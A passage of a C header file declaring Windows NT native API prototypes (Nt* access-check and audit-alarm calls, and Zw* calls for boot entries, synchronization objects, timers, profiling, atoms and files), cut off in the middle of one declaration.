);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtPrivilegeCheck (\r\n    IN HANDLE ClientToken,\r\n    _Inout_  PPRIVILEGE_SET RequiredPrivileges,\r\n    OUT PBOOLEAN Result\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAccessCheckAndAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    _In_opt_ PVOID HandleId,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    IN BOOLEAN ObjectCreation,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAccessCheckByTypeAndAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    _In_opt_ PVOID HandleId,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    _In_opt_ PSID PrincipalSelfSid,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN AUDIT_EVENT_TYPE AuditType,\r\n    IN ULONG Flags,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    IN BOOLEAN ObjectCreation,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAccessCheckByTypeResultListAndAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    _In_opt_ PVOID HandleId,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    _In_opt_ PSID PrincipalSelfSid,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN AUDIT_EVENT_TYPE AuditType,\r\n    IN ULONG Flags,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    IN BOOLEAN ObjectCreation,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAccessCheckByTypeResultListAndAuditAlarmByHandle (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    _In_opt_ PVOID HandleId,\r\n    IN HANDLE ClientToken,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    _In_opt_ PSID PrincipalSelfSid,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN AUDIT_EVENT_TYPE AuditType,\r\n    IN ULONG Flags,\r\n    IN POBJECT_TYPE_LIST ObjectTypeList,\r\n    IN ULONG ObjectTypeListLength,\r\n    IN PGENERIC_MAPPING GenericMapping,\r\n    IN BOOLEAN ObjectCreation,\r\n    OUT PACCESS_MASK GrantedAccess,\r\n    OUT PNTSTATUS AccessStatus,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenObjectAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    _In_opt_ PVOID HandleId,\r\n    IN PUNICODE_STRING ObjectTypeName,\r\n    IN PUNICODE_STRING ObjectName,\r\n    _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ACCESS_MASK GrantedAccess,\r\n    _In_opt_ PPRIVILEGE_SET Privileges,\r\n    IN BOOLEAN ObjectCreation,\r\n    IN BOOLEAN AccessGranted,\r\n    OUT PBOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtPrivilegeObjectAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    _In_opt_ PVOID HandleId,\r\n    IN HANDLE ClientToken,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN PPRIVILEGE_SET Privileges,\r\n    IN BOOLEAN AccessGranted\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCloseObjectAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    _In_opt_ PVOID HandleId,\r\n    IN BOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDeleteObjectAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    _In_opt_ PVOID HandleId,\r\n    IN BOOLEAN GenerateOnClose\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtPrivilegedServiceAuditAlarm (\r\n    IN PUNICODE_STRING SubsystemName,\r\n    IN PUNICODE_STRING ServiceName,\r\n    IN HANDLE ClientToken,\r\n    IN PPRIVILEGE_SET Privileges,\r\n    IN BOOLEAN AccessGranted\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtContinue (\r\n    IN PCONTEXT ContextRecord,\r\n    IN BOOLEAN TestAlert\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRaiseException (\r\n    IN PEXCEPTION_RECORD ExceptionRecord,\r\n    IN PCONTEXT ContextRecord,\r\n    IN BOOLEAN FirstChance\r\n    );\r\n\r\n// end_ntapi\r\n\r\n\r\n// begin_zwapi\r\nNTSTATUS\r\nNTAPI\r\nZwDelayExecution (\r\n    IN BOOLEAN Alertable,\r\n    IN PLARGE_INTEGER DelayInterval\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQuerySystemEnvironmentValue (\r\n    IN PUNICODE_STRING VariableName,\r\n    OUT PWSTR VariableValue,\r\n    IN USHORT ValueLength,\r\n    OUT OPTIONAL PUSHORT ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetSystemEnvironmentValue (\r\n    IN PUNICODE_STRING VariableName,\r\n    IN PUNICODE_STRING VariableValue\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQuerySystemEnvironmentValueEx (\r\n    IN PUNICODE_STRING VariableName,\r\n    IN LPGUID VendorGuid,\r\n    OUT OPTIONAL PVOID Value,\r\n    _Inout_ PULONG ValueLength,\r\n    OUT OPTIONAL PULONG Attributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetSystemEnvironmentValueEx (\r\n    IN PUNICODE_STRING VariableName,\r\n    IN LPGUID VendorGuid,\r\n    _In_opt_ PVOID Value,\r\n    IN ULONG ValueLength,\r\n    IN ULONG Attributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwEnumerateSystemEnvironmentValuesEx (\r\n    IN ULONG InformationClass,\r\n    OUT PVOID Buffer,\r\n    _Inout_ PULONG BufferLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAddBootEntry (\r\n    IN PBOOT_ENTRY BootEntry,\r\n    OUT OPTIONAL PULONG Id\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDeleteBootEntry (\r\n    IN ULONG Id\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwModifyBootEntry (\r\n    IN PBOOT_ENTRY BootEntry\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwEnumerateBootEntries (\r\n    OUT OPTIONAL PVOID Buffer,\r\n    _Inout_ PULONG BufferLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryBootEntryOrder (\r\n    OUT OPTIONAL PULONG Ids,\r\n    _Inout_ PULONG Count\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetBootEntryOrder (\r\n    IN PULONG Ids,\r\n    IN ULONG Count\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryBootOptions (\r\n    OUT OPTIONAL PBOOT_OPTIONS BootOptions,\r\n    _Inout_ PULONG BootOptionsLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetBootOptions (\r\n    IN PBOOT_OPTIONS BootOptions,\r\n    IN ULONG FieldsToChange\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwTranslateFilePath (\r\n    IN PFILE_PATH InputFilePath,\r\n    IN ULONG OutputType,\r\n    OUT OPTIONAL PFILE_PATH OutputFilePath,\r\n    _Inout_opt_ PULONG OutputFilePathLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAddDriverEntry (\r\n    IN PEFI_DRIVER_ENTRY DriverEntry,\r\n    OUT OPTIONAL PULONG Id\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDeleteDriverEntry (\r\n    IN ULONG Id\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwModifyDriverEntry (\r\n    IN PEFI_DRIVER_ENTRY DriverEntry\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwEnumerateDriverEntries (\r\n    OUT PVOID Buffer,\r\n    _Inout_ PULONG BufferLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryDriverEntryOrder (\r\n    OUT PULONG Ids,\r\n    _Inout_ PULONG Count\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetDriverEntryOrder (\r\n    IN PULONG Ids,\r\n    IN ULONG Count\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwClearEvent (\r\n    IN HANDLE EventHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateEvent (\r\n    OUT PHANDLE EventHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN EVENT_TYPE EventType,\r\n    IN BOOLEAN InitialState\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenEvent (\r\n    OUT PHANDLE EventHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwPulseEvent (\r\n    IN HANDLE EventHandle,\r\n    OUT OPTIONAL PLONG PreviousState\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryEvent (\r\n    IN HANDLE EventHandle,\r\n    IN EVENT_INFORMATION_CLASS EventInformationClass,\r\n    OUT PVOID EventInformation,\r\n    IN ULONG EventInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwResetEvent (\r\n    IN HANDLE EventHandle,\r\n    OUT OPTIONAL PLONG PreviousState\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetEvent (\r\n    IN HANDLE EventHandle,\r\n    OUT OPTIONAL PLONG PreviousState\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetEventBoostPriority (\r\n    IN HANDLE EventHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateEventPair (\r\n    OUT PHANDLE EventPairHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenEventPair (\r\n    OUT PHANDLE EventPairHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWaitLowEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWaitHighEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetLowWaitHighEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetHighWaitLowEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetLowEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetHighEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateMutant (\r\n    OUT PHANDLE MutantHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN BOOLEAN InitialOwner\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenMutant (\r\n    OUT PHANDLE MutantHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryMutant (\r\n    IN HANDLE MutantHandle,\r\n    IN MUTANT_INFORMATION_CLASS MutantInformationClass,\r\n    OUT PVOID MutantInformation,\r\n    IN ULONG MutantInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReleaseMutant (\r\n    IN HANDLE MutantHandle,\r\n    OUT OPTIONAL PLONG PreviousCount\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateSemaphore (\r\n    OUT PHANDLE SemaphoreHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN LONG InitialCount,\r\n    IN LONG MaximumCount\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenSemaphore(\r\n    OUT PHANDLE SemaphoreHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQuerySemaphore (\r\n    IN HANDLE SemaphoreHandle,\r\n    IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass,\r\n    OUT PVOID SemaphoreInformation,\r\n    IN ULONG SemaphoreInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReleaseSemaphore(\r\n    IN HANDLE SemaphoreHandle,\r\n    IN LONG ReleaseCount,\r\n    OUT OPTIONAL PLONG PreviousCount\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateTimer (\r\n    OUT PHANDLE TimerHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN TIMER_TYPE TimerType\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenTimer (\r\n    OUT PHANDLE TimerHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCancelTimer (\r\n    IN HANDLE TimerHandle,\r\n    OUT OPTIONAL PBOOLEAN CurrentState\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryTimer (\r\n    IN HANDLE TimerHandle,\r\n    IN TIMER_INFORMATION_CLASS TimerInformationClass,\r\n    OUT PVOID TimerInformation,\r\n    IN ULONG TimerInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetTimer (\r\n    IN HANDLE TimerHandle,\r\n    IN PLARGE_INTEGER DueTime,\r\n    _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine,\r\n    _In_opt_ PVOID TimerContext,\r\n    IN BOOLEAN ResumeTimer,\r\n    _In_opt_ LONG Period,\r\n    OUT OPTIONAL PBOOLEAN PreviousState\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQuerySystemTime (\r\n    OUT PLARGE_INTEGER SystemTime\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetSystemTime (\r\n    _In_opt_ PLARGE_INTEGER SystemTime,\r\n    OUT OPTIONAL PLARGE_INTEGER PreviousTime\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryTimerResolution (\r\n    OUT PULONG MaximumTime,\r\n    OUT PULONG MinimumTime,\r\n    OUT PULONG CurrentTime\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetTimerResolution (\r\n    IN ULONG DesiredTime,\r\n    IN BOOLEAN SetResolution,\r\n    OUT PULONG ActualTime\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAllocateLocallyUniqueId (\r\n    OUT PLUID Luid\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetUuidSeed (\r\n    IN PCHAR Seed\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAllocateUuids (\r\n    OUT PULARGE_INTEGER Time,\r\n    OUT PULONG Range,\r\n    OUT PULONG Sequence,\r\n    OUT PCHAR Seed\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateProfile (\r\n    OUT PHANDLE ProfileHandle,\r\n    IN HANDLE Process OPTIONAL,\r\n    IN PVOID ProfileBase,\r\n    IN SIZE_T ProfileSize,\r\n    IN ULONG BucketSize,\r\n    IN PULONG Buffer,\r\n    IN ULONG BufferSize,\r\n    IN KPROFILE_SOURCE ProfileSource,\r\n    IN KAFFINITY Affinity\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwStartProfile (\r\n    IN HANDLE ProfileHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwStopProfile (\r\n    IN HANDLE ProfileHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetIntervalProfile (\r\n    IN ULONG Interval,\r\n    IN KPROFILE_SOURCE Source\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryIntervalProfile (\r\n    IN KPROFILE_SOURCE ProfileSource,\r\n    OUT PULONG Interval\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryPerformanceCounter (\r\n    OUT PLARGE_INTEGER PerformanceCounter,\r\n    OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateKeyedEvent (\r\n    OUT PHANDLE KeyedEventHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenKeyedEvent (\r\n    OUT PHANDLE KeyedEventHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReleaseKeyedEvent (\r\n    IN HANDLE KeyedEventHandle,\r\n    IN PVOID KeyValue,\r\n    IN BOOLEAN Alertable,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWaitForKeyedEvent (\r\n    IN HANDLE KeyedEventHandle,\r\n    IN PVOID KeyValue,\r\n    IN BOOLEAN Alertable,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQuerySystemInformation (\r\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\r\n    OUT OPTIONAL PVOID SystemInformation,\r\n    IN ULONG SystemInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetSystemInformation (\r\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\r\n    _In_opt_ PVOID SystemInformation,\r\n    IN ULONG SystemInformationLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSystemDebugControl (\r\n    IN SYSDBG_COMMAND Command,\r\n    _In_opt_ PVOID InputBuffer,\r\n    IN ULONG InputBufferLength,\r\n    OUT OPTIONAL PVOID OutputBuffer,\r\n    IN ULONG OutputBufferLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRaiseHardError (\r\n    IN NTSTATUS ErrorStatus,\r\n    IN ULONG NumberOfParameters,\r\n    IN ULONG UnicodeStringParameterMask,\r\n    _In_opt_ PULONG_PTR Parameters,\r\n    IN ULONG ValidResponseOptions,\r\n    OUT PULONG Response\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryDefaultLocale (\r\n    IN BOOLEAN UserProfile,\r\n    OUT PLCID DefaultLocaleId\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetDefaultLocale (\r\n    IN BOOLEAN UserProfile,\r\n    IN LCID DefaultLocaleId\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryInstallUILanguage (\r\n    OUT LANGID *InstallUILanguageId\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryDefaultUILanguage (\r\n    OUT LANGID *DefaultUILanguageId\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetDefaultUILanguage (\r\n    IN LANGID DefaultUILanguageId\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetDefaultHardErrorPort(\r\n    IN HANDLE DefaultHardErrorPort\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwShutdownSystem (\r\n    IN SHUTDOWN_ACTION Action\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDisplayString (\r\n    IN PUNICODE_STRING String\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAddAtom (\r\n    _In_opt_ PWSTR AtomName,\r\n    IN ULONG Length,\r\n    OUT OPTIONAL PRTL_ATOM Atom\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFindAtom (\r\n    _In_opt_ PWSTR AtomName,\r\n    IN ULONG Length,\r\n    OUT OPTIONAL PRTL_ATOM Atom\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDeleteAtom (\r\n    IN RTL_ATOM Atom\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryInformationAtom(\r\n    IN RTL_ATOM Atom,\r\n    IN ATOM_INFORMATION_CLASS AtomInformationClass,\r\n    OUT OPTIONAL PVOID AtomInformation,\r\n    IN ULONG AtomInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCancelIoFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateNamedPipeFile (\r\n     OUT PHANDLE FileHandle,\r\n     IN ULONG DesiredAccess,\r\n     IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n     OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n     IN ULONG ShareAccess,\r\n     IN ULONG CreateDisposition,\r\n     IN ULONG CreateOptions,\r\n     IN ULONG NamedPipeType,\r\n     IN ULONG ReadMode,\r\n     IN ULONG CompletionMode,\r\n     IN ULONG MaximumInstances,\r\n     IN ULONG InboundQuota,\r\n     IN ULONG OutboundQuota,\r\n     _In_opt_ PLARGE_INTEGER DefaultTimeout\r\n     );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateMailslotFile (\r\n     OUT PHANDLE FileHandle,\r\n     IN ULONG DesiredAccess,\r\n     IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n     OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n     IN ULONG CreateOptions,\r\n     IN ULONG MailslotQuota,\r\n     IN ULONG MaximumMessageSize,\r\n     IN PLARGE_INTEGER ReadTimeout\r\n     );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDeleteFile (\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFlushBuffersFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwNotifyChangeDirectoryFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    IN ULONG CompletionFilter,\r\n    IN BOOLEAN WatchTree\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryAttributesFile (\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    OUT PFILE_BASIC_INFORMATION FileInformation\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryFullAttributesFile(\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryEaFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    IN BOOLEAN ReturnSingleEntry,\r\n    IN PVOID EaList,\r\n    IN ULONG EaListLength,\r\n    _In_opt_ PULONG EaIndex OPTIONAL,\r\n    IN BOOLEAN RestartScan\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateFile (\r\n    OUT PHANDLE FileHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    _In_opt_ PLARGE_INTEGER AllocationSize,\r\n    IN ULONG FileAttributes,\r\n    IN ULONG ShareAccess,\r\n    IN ULONG CreateDisposition,\r\n    IN ULONG CreateOptions,\r\n    _In_opt_ PVOID EaBuffer,\r\n    IN ULONG EaLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDeviceIoControlFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG IoControlCode,\r\n    _In_opt_ PVOID  InputBuffer,\r\n    IN ULONG InputBufferLength,\r\n    OUT OPTIONAL PVOID  OutputBuffer,\r\n    IN ULONG OutputBufferLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFsControlFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG FsControlCode,\r\n    _In_opt_ PVOID  InputBuffer,\r\n    IN ULONG InputBufferLength,\r\n    OUT OPTIONAL PVOID  OutputBuffer,\r\n    IN ULONG OutputBufferLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwLockFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PLARGE_INTEGER ByteOffset,\r\n    IN 